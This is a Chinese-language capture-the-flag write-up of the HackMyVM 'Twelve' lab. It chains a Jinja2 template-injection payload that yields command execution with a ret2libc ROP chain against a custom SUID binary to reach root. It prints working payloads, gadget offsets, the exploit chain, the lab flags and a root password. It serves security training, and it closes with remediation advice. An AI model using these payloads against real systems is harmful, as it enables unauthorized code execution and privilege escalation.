跳到主要内容

HackMyVM Twelve 通关记录|Jinja2 SSTI、SUID ROP 与 setuid(0) 提权

靶机链接:Twelve


0x01 基本信息

名称IP说明
Kali Linux192.168.1.113攻击机
Twelve192.168.1.104靶机

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp80/tcp1212/tcp锁定 Web 与本地提权主线
SSTI?num={{7*7}} 返回 49 的错误提示确认 Jinja2 模板执行
命令执行config.__class__.__init__.__globals__['os'].popen()获取 www-data 命令执行
本地枚举/usr/local/bin/12 为 root SUID确认关键提权面
二进制利用菜单 3 溢出 + 菜单 4 ret将程序流程转成可控 ROP
地址泄露dlsym(handle, "system")解决 ASLR,计算 libc base
Root 提权setuid(0); system("/bin/sh")在 SUID 场景下保留 root 身份
结果验证读取 user.txtroot.txt完成靶机

0x02 侦察与信息收集

1. RustScan 联动 Nmap

rustscan -a 192.168.1.104 --range 1-65535 -- -sV -sC -O -oN rustscan-nmap-initial.txt

结果摘要:

端口服务指纹 / 备注
22/tcpSSHOpenSSH 9.2p1 Debian 2+deb12u7
80/tcpHTTPApache 2.4.66 (Debian)
1212/tcpHTTPWerkzeug 2.2.2 Python 3.11.2

补充识别信息:

  • 主机名:Twelve.lan
  • 系统:Debian GNU/Linux 12 (bookworm)
  • 内核:6.1.0-9-amd64

2. 80 端口目录枚举

gobuster dir -u http://192.168.1.104 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak

未发现高价值路径,80 端口仅为 Apache 默认页,因此重心转向 1212 端口的 Python Web 服务。


0x03 漏洞探测与分析

1. Jinja2 SSTI 确认

正常请求:

curl -s 'http://192.168.1.104:1212/?num=10'

返回十二进制结果 A,说明功能本身确实是在做进制转换。

SSTI 探测:

curl -s 'http://192.168.1.104:1212/?num={{7*7}}'

响应中出现:

Error: '49' is not a valid integer

这里的 49 不是原始输入,而是 Jinja2 对 7*7 求值后的结果,足以确认模板注入成立。

2. 通过 Security Alert 分支拿到命令执行

目标程序存在一个黑名单逻辑:

blacklist = ['config', 'self', 'os', 'popen', 'read', 'import', 'write', 'flag']
if any(word in number.lower() for word in blacklist):
msg = f"<span class='text-red-500'>Security Alert: Malicious string '{number}' detected</span>"
return render_template_string(UI_TEMPLATE.replace('{{ content | safe }}', msg)), 403

问题不在于黑名单是否完整,而在于命中黑名单后,用户输入仍被拼进 render_template_string()。也就是说:

  • 正常分支会把输入当作数字处理
  • 命中黑名单的错误分支反而把输入送进模板引擎
  • 攻击者可以故意命中黑名单,以 403 页面作为 SSTI 执行通道

可用 payload:

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

验证:

curl -s 'http://192.168.1.104:1212/?num={{config.__class__.__init__.__globals__["os"].popen("id").read()}}'

回显:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

3. 自写 SSTI 命令执行脚本

为了稳定执行枚举命令,我写了一个简易的 Python 辅助脚本:twelve_ssti.py

示例:

python3 attachments/twelve_ssti.py 'id; uname -a; pwd'

该脚本的核心工作是:

  1. 自动构造 SSTI payload
  2. 自动 URL 编码
  3. 捕获 403 页面正文
  4. Security Alert: Malicious string '...' detected 中提取命令输出

0x04 初始访问后的系统枚举

1. 基础信息

通过 SSTI 执行:

id
uname -a
pwd
cat /etc/os-release
cat /proc/sys/kernel/randomize_va_space

关键信息:

项目
当前身份www-data
工作目录/opt/twelve_app
系统Debian 12
ASLR2(完全随机化)

2. User Flag

cat /home/debian/user.txt

User Flag:

flag{user-8453eaca1baf2ad1abc7c17615fb8b91}

3. SUID 枚举

find / -perm -4000 -type f 2>/dev/null

除了标准系统 SUID 外,唯一异常条目是:

/usr/local/bin/12

文件属性:

file /usr/local/bin/12
ls -la /usr/local/bin/12
/usr/local/bin/12: setuid, setgid ELF 64-bit LSB shared object, x86-64, stripped
-rwsr-sr-x 1 root root 10240 Jan 30 09:53 /usr/local/bin/12

这基本确定了提权主线不在内核、sudo 或 capability,而在这个自定义 SUID 程序。


0x05 SUID 二进制分析 (/usr/local/bin/12)

1. 程序功能概览

本地拉取二进制与目标 libc 后,可以观察到程序提供 4 个菜单项:

1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit

这几个菜单几乎已经把利用思路写在脸上:

  • 菜单 2:帮助泄露 libc 中函数地址
  • 菜单 3:把攻击者可控字节“送到栈上”
  • 菜单 4:通过函数收尾触发 ret

2. checksec 与关键保护

checksec --file=12

结果:

项目状态
RELRONo RELRO
CanaryNo canary
NXEnabled
PIEEnabled

由于 NX 开启,不能直接栈上执行 shellcode,更适合走 ret2libc / ROP。

3. 关键汇编与漏洞点

3.1 菜单 3 的核心逻辑

关键指令如下:

cc3: lea -0x440(%rbp), %rbx
...
dde: call b9a
...
df0: call strtol@plt
...
e29: mov %al, -0x440(%rbp,%r12,1)
...
e4e: call memcpy@plt

对应语义:

  1. 先把用户输入逐字节写入 rbp-0x440 处的栈缓冲区
  2. 然后执行 memcpy(rbp, buffer, count)
  3. 复制目标从 rbp 开始,而不是安全缓冲区

这意味着:

  • 偏移 0-7:覆盖保存的 rbp
  • 偏移 8-15:覆盖返回地址
  • 后续内容:继续布置 ROP 链

3.2 为什么菜单 3 后不会立刻起飞

memcpy() 结束后程序并不会马上 ret,而是跳回菜单循环:

e53: jmp cca

真正的 ROP 触发点在菜单 4 退出路径:

e7a: mov -0x448(%rbp), %rdi
e81: call dlclose@plt
e8d: call puts@plt
ea2: add $0x428, %rsp
ea9: pop %rbx
...
eb2: pop %rbp
eb3: ret

因此正确的利用节奏是:

菜单 2 泄露地址
-> 菜单 3 写入 ROP 链
-> 菜单 4 退出
-> epilogue ret
-> 命中伪造返回地址

4. 栈布局与偏移判断

关键布局如下:

[rbp + 0x08] 返回地址
[rbp + 0x00] 保存的 rbp
[rbp - 0x28] 保存的 rbx
[rbp - 0x440] 用户输入缓冲区
[rbp - 0x448] dlopen handle

我用 8 字节和 16 字节两组最小化测试复核了偏移:

data = b'3\n8\nZZZZZZZZ4\n' # 正常退出
data = b'3\n16\nAAAAAAAA' + b'BBBBBBBB4\n' # SIGSEGV at 0x4242424242424242

阶段结论:

测试结果说明
8 字节覆盖正常退出只影响保存的 rbp
16 字节覆盖崩溃返回地址已可控
有效 libc 地址测试仍崩溃说明需要完整 ROP 语义,而不是盲跳单地址

0x06 libc 泄露与 ROP 提权

1. 获取目标 libc 并计算偏移

我通过 SSTI 把 /usr/local/bin/12/lib/x86_64-linux-gnu/libc.so.6 导出到本地校验。具体做法是复用前面的 SSTI 命令执行脚本,在目标机上把文件转成单行 base64,再在本地解码。两个文件落地后都保留远程文件名:SUID 程序保存为 12,libc 保存为 libc.so.6,这样与后续 checksec --file=12、反汇编和偏移计算命令保持一致:

# 导出 SUID 程序
python3 attachments/twelve_ssti.py 'base64 -w0 /usr/local/bin/12' > 12.b64
base64 -d 12.b64 > 12
chmod +x 12

# 导出目标 libc
python3 attachments/twelve_ssti.py 'base64 -w0 /lib/x86_64-linux-gnu/libc.so.6' > libc.so.6.b64
base64 -d libc.so.6.b64 > libc.so.6

# 基础校验
file 12 libc.so.6
md5sum libc.so.6

解码后的目标 libc MD5 为:

9e21f348e8bd0dfd8d535eaf6fa9eb71

本地分析得到关键偏移:

readelf -sW libc.so.6 | grep ' system@@'
readelf -sW libc.so.6 | grep ' setuid@@'
readelf -sW libc.so.6 | grep ' exit@@'
strings -a -t x libc.so.6 | grep '/bin/sh'
ROPgadget --binary libc.so.6 --only 'pop|ret' | grep 'pop rdi ; ret'
ROPgadget --binary libc.so.6 --only 'ret' | grep ': ret$' | head
符号 / Gadget偏移
system0x4c330
setuid0xd5370
exit0x3e590
"/bin/sh"0x196031
pop rdi ; ret0x27725
ret0x270c2

2. 为什么直接 system('/bin/sh') 不够

最开始我尝试过直接把返回地址打到 system('/bin/sh'),确实能拿到 shell,但身份仍然是 www-data。这是 SUID 场景的经典坑:

  • SUID 程序的有效 UID 是 root
  • 但某些 shell 在被 system() 拉起时会主动降权
  • 结果是看起来“弹了 shell”,实际读不了 /root/root.txt

因此需要先显式恢复真实权限:

setuid(0);
system("/bin/sh");

3. 运行时地址泄露

通过菜单 2 输入 system,程序会调用 dlsym(handle, name) 并打印地址:

Symbol system: 0x00007f...

得到运行时 system 地址后,直接减去静态偏移即可算出 libc base:

libc_base = system_addr - 0x4c330

4. 最终 ROP 链

chain = b'A' * 8
chain += p64(ret)
chain += p64(pop_rdi)
chain += p64(0)
chain += p64(setuid)
chain += p64(ret)
chain += p64(pop_rdi)
chain += p64(binsh)
chain += p64(system)
chain += p64(exit)

关键点:

  1. 开头 A * 8 用于覆盖保存的 rbp
  2. ret 用于栈对齐
  3. pop rdi ; retsetuid(0)system('/bin/sh') 准备参数
  4. exit 用于收尾,避免 shell 退出后流程失控

5. 自写 PTY 交互利用脚本

为了稳定驱动菜单程序、发送原始 ROP 字节并接收 shell 输出,我写了第二个脚本:twelve_rop_root.py

这个脚本完成的事情包括:

  • 使用 PTY 启动 /usr/local/bin/12
  • 通过菜单 2 自动泄露 system 地址
  • 自动计算 libc base 与所有 gadget
  • 通过菜单 3 发送原始 ROP 字节流
  • 通过菜单 4 触发 ret
  • 在弹出的 root shell 中自动执行 idcat /root/root.txt

6. 提权结果

实测输出:

LEAK system=0x7fd6b1ab3330 base=0x7fd6b1a67000
/bin/sh: 0: can't access tty; job control turned off
# uid=0(root) gid=33(www-data) groups=33(www-data)
# flag{root-a6127743d7835b6b4dd8debe12e9879a}
[rootpass: smokeylo]

这里可以看到两个事实:

  1. uid=0(root),说明 setuid(0) 生效,已经不是低权限 shell
  2. /root/root.txt 可读,root flag 成功获取

0x07 最终成果 (Final Flags)

User Flag

  • 路径: /home/debian/user.txt
  • 内容: flag{user-8453eaca1baf2ad1abc7c17615fb8b91}

Root Flag

  • 路径: /root/root.txt
  • 内容: flag{root-a6127743d7835b6b4dd8debe12e9879a}

其他凭据

项目获取方式
Root passwordsmokeyloroot shell 中回显

0x08 复盘总结

  1. 黑名单分支反而成了主漏洞入口。 目标本来想拦截恶意字符串,但错误分支继续调用 render_template_string(),导致防护逻辑自身变成执行入口。
  2. 1212 端口是远程入口,SUID 程序是本地主线。 单纯拿到 www-data 还不够,关键在于系统里恰好存在一个可利用的自定义 SUID ELF。
  3. 菜单设计本身就是半个 exploit framework。 一个选项泄露 libc 地址,一个选项写栈,一个选项退出触发 ret,组合起来天然适合 ret2libc。
  4. SUID 场景下不要迷信 system('/bin/sh') 没有 setuid(0) 的情况下,shell 可能主动丢掉 root 身份。这也是前期“明明弹 shell 却读不到 root flag”的根因。
  5. PTY 驱动比普通 pipe 更稳。 该程序对交互节奏比较敏感,使用 PTY 可以减少换行、缓冲和 TTY 行为差异带来的干扰。
  6. 二进制虽然开了 NX 与 PIE,但业务逻辑把利用门槛压得很低。 只要能泄露一个 libc 函数地址,就可以通过固定偏移回推出整条 ROP 链所需地址。

从防守视角看,这台靶机至少有三处需要修:

  • 不要把用户输入直接送入 render_template_string()
  • 不要用黑名单来处理模板注入问题
  • 不要部署这种兼具地址泄露与栈覆盖能力的自定义 SUID 程序

附件下载

文件清单

编号文件作用
T1twelve_ssti.py通过 Jinja2 SSTI 稳定执行系统命令
T2twelve_rop_root.py自动泄露 libc、构造 ROP 并获取 root flag